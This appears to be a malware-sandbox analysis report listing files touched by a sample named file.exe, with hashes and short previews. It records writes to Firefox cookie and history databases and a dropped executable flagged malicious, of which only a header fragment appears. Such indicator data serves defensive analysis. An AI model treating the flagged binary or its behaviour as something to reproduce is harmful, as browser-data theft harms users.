Preview:	[.. {.. "description": "treehash per file",.. "signed_content": {.. "payload": "eyJpdGVtX2lkIjoiam1qZmxnanBjcGVwZWFmbW1nZHBma29na2doY3BpaGEiLCJpdGVtX3ZlcnNpb24iOiIxLjIuMSIsInByb3RvY29sX3ZlcnNpb24iOjEsImNvbnRlbnRfaGFzaGVzIjpbeyJmb3JtYXQiOiJ0cmVlaGFzaCIsImRpZ2VzdCI6InNoYTI1NiIsImJsb2NrX3NpemUiOjQwOTYsImhhc2hfYmxvY2tfc2l6ZSI6NDA5NiwiZmlsZXMiOlt7InBhdGgiOiJjb250ZW50LmpzIiwicm9vdF9oYXNoIjoiQS13R1JtV0VpM1lybmxQNktneUdrVWJ5Q0FoTG9JZnRRZGtHUnBEcnp1QSJ9LHsicGF0aCI6ImNvbnRlbnRfbmV3LmpzIiwicm9vdF9oYXNoIjoiVU00WVRBMHc5NFlqSHVzVVJaVTFlU2FBSjFXVENKcHhHQUtXMGxhcDIzUSJ9LHsicGF0aCI6Im1hbmlmZXN0Lmpzb24iLCJyb290X2hhc2giOiJKNXYwVTkwRmN0ejBveWJMZmZuNm5TbHFLU0h2bHF2YkdWYW9FeWFOZU1zIn1dfV19",.. "signatures": [.. {.. "header": {.. "kid": "publisher".. },.. "protected": "eyJhbGciOiJSUzI1NiJ9",.. "signature": "UglEEilkOml5P1W0X6wc-_dB87PQB73uMir11923av57zPKujb4IUe_lbGpn7cRZsy6x-8i9eEKxAW7L2TSmYqrcp4XtiON6ppcf27FWACXOUJDax9wlMr-EOtyZhykCnB9vR

C:\Users\user\AppData\Local\Temp\scoped_dir7896_1262213997\CRX_INSTALL\content.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8031), with no line terminators
Category:	dropped
Size (bytes):	9815
Entropy (8bit):	6.1716321262973315
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3zEScQZBMX:+ThBVq3npozftROQIyVfjRZGB365Ey97
MD5:	3D20584F7F6C8EAC79E17CCA4207FB79
SHA1:	3C16DCC27AE52431C8CDD92FBAAB0341524D3092
SHA-256:	0D40A5153CB66B5BDE64906CA3AE750494098F68AD0B4D091256939EEA243643
SHA-512:	315D1B4CC2E70C72D7EB7D51E0F304F6E64AC13AE301FD2E46D585243A6C936B2AD35A0964745D291AE9B317C316A29760B9B9782C88CC6A68599DB531F87D59
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir7896_1262213997\CRX_INSTALL\content_new.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8604), with no line terminators
Category:	dropped
Size (bytes):	10388
Entropy (8bit):	6.174387413738973
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3EbmE1F4fn:+ThBVq3npozftROQIyVfjRZGB365Ey9+
MD5:	3DE1E7D989C232FC1B58F4E32DE15D64
SHA1:	42B152EA7E7F31A964914F344543B8BF14B5F558
SHA-256:	D4AA4602A1590A4B8A1BCE8B8D670264C9FB532ADC97A72BC10C43343650385A
SHA-512:	177E5BDF3A1149B0229B6297BAF7B122602F7BD753F96AA41CCF2D15B2BCF6AF368A39BB20336CCCE121645EC097F6BEDB94666C74ACB6174EB728FBFC43BC2A
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir7896_1262213997\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	962
Entropy (8bit):	5.698567446030411
Encrypted:	false
SSDEEP:	24:1Hg9+D3DRnbuF2+sUrzUu+Y9VwE+Fg41T1O:NBqY+6E+F7JO
MD5:	E805E9E69FD6ECDCA65136957B1FB3BE
SHA1:	2356F60884130C86A45D4B232A26062C7830E622
SHA-256:	5694C91F7D165C6F25DAF0825C18B373B0A81EA122C89DA60438CD487455FD6A
SHA-512:	049662EF470D2B9E030A06006894041AE6F787449E4AB1FBF4959ADCB88C6BB87A957490212697815BB3627763C01B7B243CF4E3C4620173A95795884D998A75
Malicious:	false
Preview:	{.. "content_scripts": [ {.. "js": [ "content.js" ],.. "matches": [ "https://chrome.google.com/webstore/" ].. }, {.. "js": [ "content_new.js" ],.. "matches": [ "https://chromewebstore.google.com/" ].. } ],.. "description": "Edge relevant text changes on select websites to improve user experience and precisely surfaces the action they want to take.",.. "key": "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu06p2Mjoy6yJDUUjCe8Hnqvtmjll73XqcbylxFZZWe+MCEAEK+1D0Nxrp0+IuWJL02CU3jbuR5KrJYoezA36M1oSGY5lIF/9NhXWEx5GrosxcBjxqEsdWv/eDoOOEbIvIO0ziMv7T1SUnmAA07wwq8DXWYuwlkZU/PA0Mxx0aNZ5+QyMfYqRmMpwxkwPG8gyU7kmacxgCY1v7PmmZo1vSIEOBYrxl064w5Q6s/dpalSJM9qeRnvRMLsszGY/J2bjQ1F0O2JfIlBjCOUg/89+U8ZJ1mObOFrKO4um8QnenXtH0WGmsvb5qBNrvbWNPuFgr2+w5JYlpSQ+O8zUCb8QZwIDAQAB",.. "manifest_version": 3,.. "name": "Edge relevant text changes",.. "update_url": "https://edge.microsoft.com/extensionwebstorebase/v1/crx",.. "version": "1.2.1"..}..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Nov 28 04:48:10 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.978258592222222
Encrypted:	false
SSDEEP:	48:8Wd0T4kAHveidAKZdA19ehwiZUklqehly+3:85v20my
MD5:	0FFE09F8AD01057583BBA524317777DB
SHA1:	D1347943AE709092DFA85386EBBD6017FF634360
SHA-256:	630F9749AA914C73D7173C9D6F24597B2635CC74A22D85B95F2A0841BF684DF8
SHA-512:	9C3FCD37AF21222DCD2695ABBED48321D9AD229AF3D9BEE6A4C440A272B7856AB5C322DCB4F24D3C5B033AA31973AEDEC254A94F5053686EF0E6777818D07A5E
Malicious:	false
Preview:	L..................F.@.. ...$+.,........YA..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I\|Y......B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V\|Y......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V\|Y......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V\|Y............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V\|Y.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............^q?.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Nov 28 04:48:10 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	3.9906926948135264
Encrypted:	false
SSDEEP:	48:8Hbd0T4kAHveidAKZdA1weh/iZUkAQkqehWy+2:8HGv2G9Q/y
MD5:	E3AB9CCF6A2FDE0C1588B3764AD21DBA
SHA1:	F62106A1DD793791FAE95C82D297C51B677F110C
SHA-256:	ABD20D8581823AD8DDF7057488221AA38DCDB51D125709C2EB6D1904F5D795B6
SHA-512:	B6543C19B7752F9917EDC361E2413C6A127A2B603CD5EC7D25C6E55C1A44EAC99E5B35EBDA0D2736CFFACA475AAE3F305F8E8725B9011F9B4B7A5A7C635EE365
Malicious:	false
Preview:	L..................F.@.. ...$+.,....o...YA..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I\|Y......B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V\|Y......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V\|Y......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V\|Y............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V\|Y.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............^q?.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Oct 4 12:54:07 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2693
Entropy (8bit):	4.003963620387391
Encrypted:	false
SSDEEP:	48:8xld0T4ksHveidAKZdA14tseh7sFiZUkmgqeh7sYy+BX:8xMvSuniy
MD5:	6388E7B16F930AAF1C0C5DB20BA93F04
SHA1:	E4789D4943C023A2B2110EC384F18F3480C7462E
SHA-256:	3A5B191D48EE20A8B91F18275B877A9EF2A60CD5A4273F0E0B71B1B389A1BF10
SHA-512:	30D798DC6FDA22261AB7F101C90ED022116639CE1E52F1F6D878005EC01F17871DEAD3B8ED296061AD34973E059C7433A38E1BEBBDCA9603BDED236F0B709B34
Malicious:	false
Preview:	L..................F.@.. ...$+.,......e>....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I\|Y......B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V\|Y......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V\|Y......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V\|Y............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VDW.n...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............^q?.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Nov 28 04:48:10 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.9903742066876666
Encrypted:	false
SSDEEP:	48:8Rd0T4kAHveidAKZdA1vehDiZUkwqehKy+R:8Av2NAy
MD5:	1E68A63CA3FAD05C479D78455BBB22CF
SHA1:	E83382E3975AD53E24B50DB18931549976A7B52C
SHA-256:	E3E63988ECC821EE0614E8A8161B679D39085EA7E139D249D915C157528BA4C2
SHA-512:	4CD04AFAFE12D762A3654F2691A93E58A2A8407497D5C217687F3B421D8E0FADF048DCCC08F62AF1F447B729D945CAC0D7B83D7A6C80AFF35BC7E67544E64AC3
Malicious:	false
Preview:	L..................F.@.. ...$+.,....%...YA..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I\|Y......B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V\|Y......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V\|Y......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V\|Y............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V\|Y.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............^q?.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Nov 28 04:48:10 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.9798633301543793
Encrypted:	false
SSDEEP:	48:8Hd0T4kAHveidAKZdA1hehBiZUk1W1qehky+C:86v2N9Ey
MD5:	36954B2B6BCF71AD49559751679EB0FA
SHA1:	632AB73A572E04F4620445866970F4BC1C6E3CF8
SHA-256:	30F3850699D59E1B6FD506B2FF52E8E74BD6F8145826DE195B81E841101EAABC
SHA-512:	C852249C15EC9EF92B7D55E70CAB328596C3B7FAB1A310798E28141A4EEF08014F8B1D8D42C8B614B8CF6AAFF0F5479FA5CDAF99D03EF25050099139CA80BC0A
Malicious:	false
Preview:	L..................F.@.. ...$+.,.....I..YA..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I\|Y......B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V\|Y......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V\|Y......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V\|Y............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V\|Y.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............^q?.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Nov 28 04:48:10 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2683
Entropy (8bit):	3.9863880319377336
Encrypted:	false
SSDEEP:	48:8+d0T4kAHveidAKZdA1duT+ehOuTbbiZUk5OjqehOuTbiy+yT+:8Bv2RT/TbxWOvTbiy7T
MD5:	858AFD7E22E8851A77620B0202D1D0D3
SHA1:	63AF3F236A773E6DD6BFDF742A458EECA1220704
SHA-256:	E512537412D49532DEA484C78675695116D1764A8183EE1B9E1A7011EDEE6991
SHA-512:	945A11A4AB8D51558403A5AF60698312055CEA14FAA1589FFC596628950C8F67BB55DBD435174619DC79830A1C537B12703F8C0065CE1A85F0857CF65D1F6077
Malicious:	false
Preview:	L..................F.@.. ...$+.,....6py.YA..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I\|Y......B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V\|Y......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V\|Y......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V\|Y............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V\|Y.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............^q?.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\DocumentsBAECFHJEBA.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	6144
Entropy (8bit):	3.957336118439701
Encrypted:	false
SSDEEP:	48:jI7xnnmYD0Qzuk/x8KBx7eIKUAoW6kNl9o/Ww85kVRfRo5rGx5V:KnnmGru2TBcVTL9oL8uVR5o565V
MD5:	C61620E4B254A2B3F92F7CBA10C65E4F
SHA1:	B73599F2457B42A38589A2D73D1F06EBFE56C441
SHA-256:	94F9C11A9AD79B9E0E58B506EFA0431E48BAE3DAA347804D9B184AB4A580AB39
SHA-512:	EB79622980E0C79C57B82BEE6E3D1443561DCC02197817F1432535B17CAD7D984C0845CDDF55FCB5AE7E4B8EAE4CB8052DCDD59EBF891E71727FC2C6D93E30ED
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f............................. K...........@..........................PK......c....@.................................W...k.......D.....................K...............................K..................................................... . ............................@....rsrc...D...........................@....idata ............................@... ..*.........................@...xtasyykt.....@1.....................@...gzyjpbij......K.....................@....taggant.0... K.."..................@...................................................................................................................................................................................................................

Chrome Cache Entry: 260

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (7775)
Category:	downloaded
Size (bytes):	7780
Entropy (8bit):	5.771029358440641
Encrypted:	false
SSDEEP:	192:a/bKN6666VeaZvPXbEng/vhZFd666667DrfQ4uHIDbMt45QF9/:a/Q6666hZr/vhl66666zbbMCYt
MD5:	A85D31FCBB6C8EC0052CD86D4104C4CA
SHA1:	BC16349F6331599AD90D7B80BBDEC80443C1F741
SHA-256:	0727665274D7174F8780139B4501F629035498E508E6D300EA77E81456FB99EF
SHA-512:	423E194D845DA44F740AC4272BA02A239279201BD886C8F127E36EC933A36719D545B1546F4EA1AD4C6CF0B6AD7299C871674D4EA0763E64C06777D6D1A3F7E3
Malicious:	false
URL:	https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw
Preview:	)]}'.["",["wicked movie ariana grande","cryptocurrency","blake snell dodgers","nasa military base greenland","rockstar games gta 6","mcu galactus","buffalo bills injury report","november social security payments"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:suggestdetail":[{"google:entityinfo":"Cg0vZy8xMWJfMjY1OXJyEhRXaWNrZWQg4oCUIDIwMjQgZmlsbTLDDmRhdGE6aW1hZ2UvanBlZztiYXNlNjQsLzlqLzRBQVFTa1pKUmdBQkFRQUFBUUFCQUFELzJ3Q0VBQWtHQndnSEJna0lCd2dLQ2drTERSWVBEUXdNRFJzVUZSQVdJQjBpSWlBZEh4OGtLRFFzSkNZeEp4OGZMVDB0TVRVM09qbzZJeXMvUkQ4NFF6UTVPamNCQ2dvS0RRd05HZzhQR2pjbEh5VTNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTi8vQUFCRUlBRUFBUUFNQklnQUNFUUVERVFIL3hBQWFBQUFEQVFFQkFRQUFBQUFBQUFBQUFBQUVCUVlIQXdJQS84UUFNaEFBQWdFQ0JRRUhBZ1VGQVFBQUFBQUFBUUlEQkJFQUJSSWhNVkVHRXlKQllYR0JNcEVVUXJIQjBSVWpvZUh3VXYvRUFCa0JBUUVCQVFFQkFBQUFBQUFBQUFBQUFBTUVBZ1VCQVAvRUFDQVJBQUlDQVFR

Chrome Cache Entry: 261

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	29
Entropy (8bit):	3.9353986674667634
Encrypted:	false
SSDEEP:	3:VQAOx/1n:VQAOd1n
MD5:	6FED308183D5DFC421602548615204AF
SHA1:	0A3F484AAA41A60970BA92A9AC13523A1D79B4D5
SHA-256:	4B8288C468BCFFF9B23B2A5FF38B58087CD8A6263315899DD3E249A3F7D4AB2D
SHA-512:	A2F7627379F24FEC8DC2C472A9200F6736147172D36A77D71C7C1916C0F8BDD843E36E70D43B5DC5FAABAE8FDD01DD088D389D8AE56ED1F591101F09135D02F5
Malicious:	false
URL:	https://www.google.com/async/newtab_promos
Preview:	)]}'.{"update":{"promos":{}}}

Chrome Cache Entry: 262

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65531)
Category:	downloaded
Size (bytes):	132964
Entropy (8bit):	5.435131339602773
Encrypted:	false
SSDEEP:	3072:fZkX3ioI5wrfFiC8jMbk/5xnRGpvsMTwR2i6o:fS3dDFqr/5xnRGpvrwR8o
MD5:	664A7E67BA8AE7F690BED63A2BF2F6F8
SHA1:	CD126E14C3BB6C3496022C9F4963660260B5F3BD
SHA-256:	35DB19FE5D796EDC17525BEB7A29411C18DB146C5D66EEBEFAA04137F119320E
SHA-512:	0201C16102E6D1E81BFB06216940CE660189EB70E37837F8AC0818E2C7A2CB8923472C3CF4DAFF7232BD23F008C7BC3C80B9B25A7623330D51EFF58C963F4741
Malicious:	false
URL:	https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0
